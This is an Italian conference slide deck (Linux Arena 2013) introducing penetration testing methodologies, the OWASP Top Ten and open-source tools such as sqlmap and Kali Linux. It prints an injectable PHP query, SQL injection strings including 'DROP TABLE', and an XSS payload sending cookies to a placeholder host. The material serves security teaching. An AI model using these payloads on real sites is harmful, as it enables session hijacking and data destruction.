53
Andrea Zwirner [email protected] @AndreaZwirner Pordenone Fiere Linux Arena 2013 Offensive Security con strumenti Open Source

Offensive security con strumenti open source

Embed Size (px)

DESCRIPTION

Pordenone Fiere – Linux Arena 2013 Offensive Security con strumenti Open Source - Talk di Andrea Zwirner

Citation preview

Page 1: Offensive security con strumenti open source

Andrea Zwirner

[email protected] @AndreaZwirner

Pordenone Fiere

Linux Arena 2013

Offensive Security con strumentiOpen Source

Page 2: Offensive security con strumenti open source

Andrea Zwirner● Master di certificazione OSCP – Offensive Security Certified Professional

● Professionista nel campo della sicurezza informatica: “security auditor e penetration tester ”

● Fondatore di Linkspirit● Security auditing, security advising e penetration testing● Training in corsi di sicurezza informatica

● Articolista e revisore per la rivista di settore PenTest Magazine

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

2

Page 3: Offensive security con strumenti open source

● Appassionato di sicurezza informatica ed Open Source

● Collaborazione con ISECOM (Instiute for Security and Open Methodologies)

● Collaborazione al progetto Hacker Highschool – Security awareness for teens

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

3Andrea Zwirner

Page 4: Offensive security con strumenti open source

Cos'è la sicurezza informatica – versione WikipediaRamo dell'informatica che si occupa

● dell'analisi delle vulnerabilità, dei rischi e delle minacce che possono affliggere un sistema informatico

● della protezione dell'integrità del software di un sistema informatico

● della protezione dei dati contenuti in un sistema informatico o da esso scambiati

● della protezione di un sistema informatico da attacchi di software malevoli

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

4

Page 5: Offensive security con strumenti open source

Cos'è la sicurezza informaticaScienza inesatta che si occupa di garantire

● C O N F I D E N Z I A L I T A 'C O N F I D E N Z I A L I T A '

● I N T E G R I T A 'I N T E G R I T A '

● D I S P O N I B I L I T A 'D I S P O N I B I L I T A '

dell'informazione.

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

5

Page 6: Offensive security con strumenti open source

Esempi di attacchi alla confidenzialità dell'informazione● Ottenere accesso ad informazioni senza disporre delle autorizzazioni necessarie

● Esempi

● leggere dati in transito sul canale di comunicazione (sniffing)

● decodificare dati crittografati mediante attacchi alle chiavi (dizionari, brute force, rainbow tables)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

6

Page 7: Offensive security con strumenti open source

Esempi di attacchi all'integrità dell'informazione● Ottenere la possibilità di alterare o eliminare informazioni senza disporre delle autorizzazioni necessarie

● Esempi

● modificare o alterare dati in transito sul canale di comunicazione

● Esempio eccezionale è stato sslstrip di Moxie Marlinspike

● modificare o eliminare dati residenti nel sistema

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

7

Page 8: Offensive security con strumenti open source

Esempi di attacchi alla disponibilità dell'informazione● Ottenere la possibilità di interrompere l'erogazione di un servizio o bloccare un sistema

● Esempi

● alterare o eliminare dati o configurazioni di importanza critica per il funzionamento del sistema;

● sferrare attacchi mirati ad esaurire le risorse computazionali o di rete del sistema (DoS, DDoS);

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

8

Page 9: Offensive security con strumenti open source

Note legali

Reato di accesso abusivo ad un sistema informatico o telematico

● Punito dall'art. 615-ter del Codice Penale

● Pena prevista: da 1 a 3 anni di reclusione

● Aggravante per il danneggiamento dei dati o interruzione, anche parziale, del sistema:

● Pena prevista: da 1 a 5 anni di reclusione

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

9

Page 10: Offensive security con strumenti open source

Esclusione di responsabilitàQuanto descritto in questa presentazione può

essere applicato solo su sistemi informatici di

proprietà o dietro rilascio di autorizzazione

scritta del legale proprietario degli stessi.

Il relatore non si assume alcuna responsabilità

di qualunque eventuale abuso delle informazioni

riportate in questa presentazione.

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

10

Page 11: Offensive security con strumenti open source

Sicurezza informatica difensiva – descrizione● Definizione di policy di accesso a servizi e informazioni

● quali permessi servono per fare cosa

● Difesa perimetrale dell'infrastruttura

● configurazione delle apparecchiature di rete mediante un modello di progettazione architetturale ritenuto sicuro

● Difesa interna dell'infrastruttura

● Installazione di apparecchiature e software anti intrusione ed infezione

● Formazione degli utenti finali (troppo raramente)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

11

Page 12: Offensive security con strumenti open source

Sicurezza informatica difensiva – effetti percepiti● Forte senso di sicurezza indotto dalla qualità percepita

● ottime campagne di marketing dei produttori

● ingenti costi sostenuti

● un sacco di nuove lucine lampeggianti in sala dati

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

12

Page 13: Offensive security con strumenti open source

Sicurezza informatica difensiva – effetti reali● Mancata rilevazione di errori di configurazione

● Obsolescenza delle metodologie di difesa implementate

● Rapida obsolescenza delle apparecchiature installate

● Scoperta di bug di sicurezza e produzione relativi exploit per i servizi erogati

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

13

Page 14: Offensive security con strumenti open source

Sicurezza informatica difensiva – effetti reali● Mancata rilevazione di errori di configurazione

● Obsolescenza delle metodologie di difesa implementate

● Rapida obsolescenza delle apparecchiature installate

● Scoperta di bug di sicurezza e produzione relativi exploit per i servizi erogati

C O N C L U S I O N EC O N C L U S I O N E

VENGONO LASCIATE MILLE PORTE APERTEVENGONO LASCIATE MILLE PORTE APERTE

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

14

Page 15: Offensive security con strumenti open source

● Come prima, l'infrastruttura viene progettata ed implementata con criterio, applicando tutte le migliori prassi

Sicurezza informatica offensiva

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

15

Page 16: Offensive security con strumenti open source

● Come prima, l'infrastruttura viene progettata ed implementata con criterio, applicando tutte le migliori prassi

P E R O ' P O I S I V E R I F I C A C H EP E R O ' P O I S I V E R I F I C A C H E

T U T T O S I A E F F E T T I V A M E N T E S I C U R OT U T T O S I A E F F E T T I V A M E N T E S I C U R O

Sicurezza informatica offensiva

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

16

Page 17: Offensive security con strumenti open source

CI SI METTE NEI PANNI DELL'ATTACCANTE E SI CERCA DICI SI METTE NEI PANNI DELL'ATTACCANTE E SI CERCA DI

VIOLARE IL PROPRIO SISTEMA PER TROVARNE LE FALLEVIOLARE IL PROPRIO SISTEMA PER TROVARNE LE FALLE

● Il sistema informatico viene quindi verificato da uno o più esperti (penetration tester) che utilizzano gli stessi

● Metodologie

● Strumenti

utilizzati dagli attaccanti reali al fine di trovarne le vulnerabilità

Sicurezza informatica offensiva: la metodologia

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

17

Page 18: Offensive security con strumenti open source

OSSTMM Open Source Security Testing Methodology Manual Licenza: Creative Commons 3.0

PTES Penetration Testing Execution Standard Licenza: GNU Free Documentation License 1.2

OWASP Open Web Application Security Project Licenza: Creative Commons 3.0

Metodologie Open Source per il penetration testing

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

18

Page 19: Offensive security con strumenti open source

● Sviluppato da ISECOM in oltre 10 anni (attualmente ver. 3)

● Standard internazionale de-facto per le verifiche di sicurezza operativa (di pressoché qualunque cosa!)

● Utilizzato in tutto il mondo per security audit di sistemi di governi, pubblica amministrazione, scuole ed aziende di ogni dimensione

● In fase di standardizzazione da parte dell'ISO ad integrare la famiglia di standard di sicurezza delle informazioni ISO/IEC 27000

● 27001 – Information security management systems requirements

● 27002 – Code of practice for information security management

Open Source Security Testing Methodology Manual

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

19

Page 20: Offensive security con strumenti open source

● Standard nuovo ed in fase di sviluppo, ma già molto utilizzato in ambito IT Security

● Definisce linee guida utili sia per il mondo IT sia per quello Business

● Offre al penetration tester uno standard solido per il corretto svolgimento del security audit

● Offre al mondo business solidi criteri di valutazione sulla qualità del lavoro proposto e svolto

● Apre un canale di comunicazione omogeneo tra i due mondi definendo un linguaggio comune

Penetration Testing Execution Standard

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

20

Page 21: Offensive security con strumenti open source

● Ricognizione di base (information gathering, enumeration)

● Ricostruzione della struttura interna dell'azienda e della rete

● Ricognizione specifica su persone e macchine enumerate

● Ricerca di errori nella configurazione di apparati o servizi

● Stesura della mappa delle vulnerabilità

● Ricerca, scrittura ed esecuzione di exploit

● Raccolta delle evidenze (proof of concept – PoC)

● Stesura del report

Il processo di audit - compendio OSSTMM e PTES

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

21

Page 22: Offensive security con strumenti open source

● Associazione senza scopo di lucro

● Missione: aumentare la visibilità relativa la sicurezza del software al fine di permettere di prendere decisioni informate ad imprese ed individui

● Attiva nel campo della ricerca e divulgazione della cultura della sicurezza partecipando a conferenze in tutto il mondo

● Attualmente gestisce oltre 20 progetti legati alla sicurezza relativi a linguaggi, librerie, API, best practices, auditing, etc, suddivisi in

● PROTECT – tools e documenti relativi la protezione da minacce● DETECT – tools e documenti relativi la rilevazione di difetti● LIFE CYCLE – tools e documenti per implementare attività di

sicurezza nel ciclo di sviluppo del software

Open Web Application Security Project

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

22

Page 23: Offensive security con strumenti open source

● Spiega come effettuare web application penetration test rapidi, mirati ed efficaci

● Indirizzata a sviluppatori e beta tester

● Rilasciata in PDF, ma mantenuta in modalità wiki, in maniera da permetterne il costante aggiornamento

● Raccoglie il consenso di migliaia di esperti nel mondo circa le modalità di rilevazione di minacce di sicurezza nel software

OWASP – Testing Project

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

23

Page 24: Offensive security con strumenti open source

● Descrive le dieci vulnerabilità valutate come più rischiose (non comuni) in ambito web application

● Finalizzato ad educare sviluppatori, designer, manager ed organizzazioni circa le problematiche trattate

● Fornisce linee guida per la verifica della presenza delle problematiche selezionate e come prevenirle

OWASP – Top Ten Project

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

24

Page 25: Offensive security con strumenti open source

● A1: Injection

● A2: Broken Authentication and Session Management

● A3: Cross-Site Scripting (XSS)

● A4: Insecure Direct Object References

● A5: Security Misconfiguration

● A6: Sensitive Data Exposure

● A7: Missing Function Level Access Control

● A8: Cross-Site Request Forgery (CSRF)

● A9: Using Known Vulnerable Components

● A10: Unvalidated Redirects and Forwards

OWASP Top Ten 2013 – RC1

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

25

Page 26: Offensive security con strumenti open source

● Avviene quando un'applicazione invia dati non fidati ad un interprete

● Esempi: SQL, LDAP, chiamate al S.O., argomenti a comandi, etc

A1: Injection

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

26

Page 27: Offensive security con strumenti open source

● Avviene quando un'applicazione invia dati non fidati ad un interprete

● Esempi: SQL, LDAP, chiamate al S.O., argomenti a comandi, etc

● Esempio – SQL Injection superclassica (ma si trova ancora, molto!)

$nome = $_POST['nome'];$query = "SELECT * FROM t WHERE nome='" + $nome + "'";$result = mysql_query($query);

A1: Injection

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

27

Page 28: Offensive security con strumenti open source

● Avviene quando un'applicazione invia dati non fidati ad un interprete

● Esempi: SQL, LDAP, chiamate al S.O., argomenti a comandi, etc

● Esempio – SQL Injection superclassica (ma si trova ancora, molto!)

$nome = $_POST['nome'];$query = "SELECT * FROM t WHERE nome='" + $nome + "'";$result = mysql_query($query);

Pacifico, ma cosa succederebbe se io mi chiamassi

Andrea' OR 1=1 --?

A1: Injection

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

28

Page 29: Offensive security con strumenti open source

● Avviene quando un'applicazione invia dati non fidati ad un interprete

● Esempi: SQL, LDAP, chiamate al S.O., argomenti a comandi, etc

● Esempio – SQL Injection superclassica (ma si trova ancora, molto!)

$nome = $_POST['nome'];$query = "SELECT * FROM t WHERE nome='" + $nome + "'";$result = mysql_query($query);

Pacifico, ma cosa succederebbe se io mi chiamassi

Andrea' OR 1=1 --?

A1: Injection

SELECT * FROM t WHERE nome= 'Andrea' OR 1=1 --'

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

29

Page 30: Offensive security con strumenti open source

Injection fun

Pronto, qui è la scuola di suo figlio, abbiamo qualche problema informatico.Oh, mi dica... Robert ha mica rotto qualcosa?In un certo senso... Senta, suo figlio si chiama veramente

Robert'); DROP TABLE Students; --?…

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

30

Page 31: Offensive security con strumenti open source

Injection fun

ZU 0666',0,0); DROP DATABASE TABLICE; --

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

31

Page 32: Offensive security con strumenti open source

sqlmap - Open Source SQL Injection● Pieno supporto per MySQL, Oracle, PostgreSQL,

Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase e SAP MaxDB

● Supporto per le tecniche di SQL Injection:

● Boolean based blind, time based blind, UNION query, error-based, stacked query e out of band

● Possibilità di tracciare l'intera struttura dei database serviti dal motore

● Supporto per dump di intere tabelle, range di record o colonne specifiche

● Supporto per il download/upload di qualunque file sul server nei casi di MySQL, PostgreSQL o Microsoft SQL Server

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

32

Page 33: Offensive security con strumenti open source

● Avviene quando un'applicazione web include in una pagina dati forniti da un utente (ogni social network) senza averli validati.

● E' un attacco client-side (JavaScript, ActiveX, Java, VBScript, etc)

● Ne esistono di tre tipi:

● Stored XSS – persistenti a database (forum, log, campi di commento, etc)

● Reflected XSS – altri vettori d'attacco (es. email) che fanno effettuare la richiesta HTTP forgiata in maniera da ottenere la risposta che esegue il codice client-side

● DOM based – che modificano l'ambinente DOM (Document Object Model) del browser

A3: Cross-Site Scripting (XSS)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

33

Page 34: Offensive security con strumenti open source

● Esempio classico (ma, di nuovo, ancora funzionante e molto in voga!)

● Qualunque form il cui contenuto (non validato) venga poi servito in una pagina

● Nome: Andrea● Cognome: <script>alert('XSS');</script>

A3: Cross-Site Scripting (XSS)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

34

Page 35: Offensive security con strumenti open source

● Esempio classico (ma, di nuovo, ancora funzionante e molto in voga!)

● Qualunque form il cui contenuto (non validato) venga poi servito in una pagina

● Nome: Andrea● Cognome: <script>alert('XSS');</script>

● La pagina html risultante quindi conterrà qualcosa tipo:

<html>...

<p>Andrea <script>alert('XSS');</script> è passato di qui.</p>

...</html>

A3: Cross-Site Scripting (XSS)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

35

Page 36: Offensive security con strumenti open source

Ed ecco il risultato: abbiamo appena eseguito codice lato client sul computer di ogni visitatore del sito

A3: Cross-Site Scripting (XSS)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

36

Page 37: Offensive security con strumenti open source

E' un attacco così famoso che ha anche un profilo professionale su LinkedIn

A3: Cross-Site Scripting (XSS)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

37

Page 38: Offensive security con strumenti open source

● Cosa sarebbe successo se nel campo avessimo messo un bel:

<script>new Image.src=”http://IP/pippo.php

?cookie= + document.cookie +&location= + document.location”

</script>

A3: Cross-Site Scripting (XSS)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

38

Page 39: Offensive security con strumenti open source

● Cosa sarebbe successo se nel campo avessimo messo un bel:

<script>new Image.src=”http://IP/pippo.php

?cookie= + document.cookie +&location= + document.location”

</script>

AVREMMO RUBATO LA SESSIONE AL VISITATOREAVREMMO RUBATO LA SESSIONE AL VISITATORE

Ci siamo fatti spedire i cookie relativi il documento aperto, ossia i parametri relativi la sua sessione sul sito

A3: Cross-Site Scripting (XSS)

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

39

Page 40: Offensive security con strumenti open source

● tamperdata

● Addon per Firefox che permette di vedere e modificare gli header HTTP/HTTPS ed i parametri POST

● firebug

● Tool che si integra con firefox per il debugging delle pagine web. Permette di modificare, debuggare e monitorare CSS, HTML, JavaScript e cookie in modalità live

● Usando queste estensioni di firefox possiamo impostarci i parametri di sessione dell'utente, quindi andare a visitare il sito impersonandolo.

(ecco perché il logout è importante)

Tamperdata, firebug

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

40

Page 41: Offensive security con strumenti open source

Back|Track Linux BackBox Linux Kali Linux

● Distribuzioni Linux appositamente sviluppate per l'esecuzione di test di sicurezza offensiva (ed altro: analisi forense, OSINT)

● Sono toolbox ordinati (in maniera maniacale) di strumenti Open Source (e non) utilizzabili nell'ambito del penetration test

Strumenti Open Source per il penetration testing

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

41

Page 42: Offensive security con strumenti open source

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

42

Page 43: Offensive security con strumenti open source

● Distribuzione Linux Live installabile, per attività di penetration test, intelligence e forensics analisys

● Basata su Ubuntu e progettata per essere leggera e prestante

● Meno matura di Back|Track, ma molto promettente

● Più aperta di Back|Track dal punto di vista dello sviluppo

BackBox Linux – introduzione

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

43

Page 44: Offensive security con strumenti open source

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

44

Page 45: Offensive security con strumenti open source

● Basata prima su Slax Linux, portata in seguito sotto Ubuntu

● Distribuzione Linux Live installabile, per attività di penetration test, intelligence e forensics analisys con oltre 600 tools diponibili

● Aderente agli standard OSSTMM, OWASP ed OSINT

● Open Source, ma con team di sviluppo piuttosto chiuso (sviluppata e gestita da due società del settore)

● Utilizzata da agenzie di intelligence e da reparti governativi della difesa, oltre che da centinaia di migliaia di professionisti, ricercatori ed appassionati di sicurezza in tutto il mondo

Back|Track Linux – introduzione

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

45

Page 46: Offensive security con strumenti open source

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

46

Page 47: Offensive security con strumenti open source

● Evoluzione di Back|Track Linux

● Derivata da Debian Wheezy, forka meno pacchetti possibile, aderisce ai suoi standard di sviluppo, ne eredita le linee giuda

● Aderisce al FHS (Filesystem Hierarchy Standard) – non più /pentest

● Kernel patch per injection – aircrack-ng

● Supporto per ARMEL e ARMHF

● Raspberry Pi – ODROID U2 – Samsung Chromebook ed altri

● Ottima documentazione e comunità attiva

Kali Linux – penetration testing redefined

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

47

Page 48: Offensive security con strumenti open source

The Exploit Database

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

48

Page 49: Offensive security con strumenti open source

● Raccoglie exploit per ogni falla di sicurezza rilevata per ogni software su ogni piattaforma e la indicizza in maniera efficace per la navigazione

● Contiene exploit in formato sorgente (Open Source) indicizzati in base a piattaforma, tipologia (remota/locale), software di riferimento ed altri

● Contiene oltre 100 documenti relativi la sicurezza offensiva in ogni ambito esistente (server, software, API, mobile, etc)

● Un punto di riferimento per penetration tester, ricercatori ed appassionati di sicurezza offensiva (ed hacker..)

The Exploit Database – introduzione

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

49

Page 50: Offensive security con strumenti open source

Back|Track ed integrazione con Exploit-DB

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

50

Page 51: Offensive security con strumenti open source

● Come per ogni altro campo dell'informatica, anche per la sicurezza il contributo dato dall'Open Source è stato incommensurabile.

● La filosofia di condivisione della conoscenza dell'Open Source ha portato a:

● definizione di metodologie tanto efficaci che sono diventati standard internazionali

● sviluppo di centinaia e software e tool aderenti agli standard ed utilizzati da professionisti, aziende e governi

● divulgazione di una cultura per la sicurezza e la tutela della propria privacy in rete

Morale della favola

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

51

Page 52: Offensive security con strumenti open source

Domande? Dubbi? Perplessità?

Pordenone Fiere – Linux Arena 2013Offensive Security con strumenti Open Source

52

Page 53: Offensive security con strumenti open source

Andrea Zwirner

[email protected] @AndreaZwirner

Pordenone Fiere

Linux Arena 2013

Offensive Security con strumentiOpen Source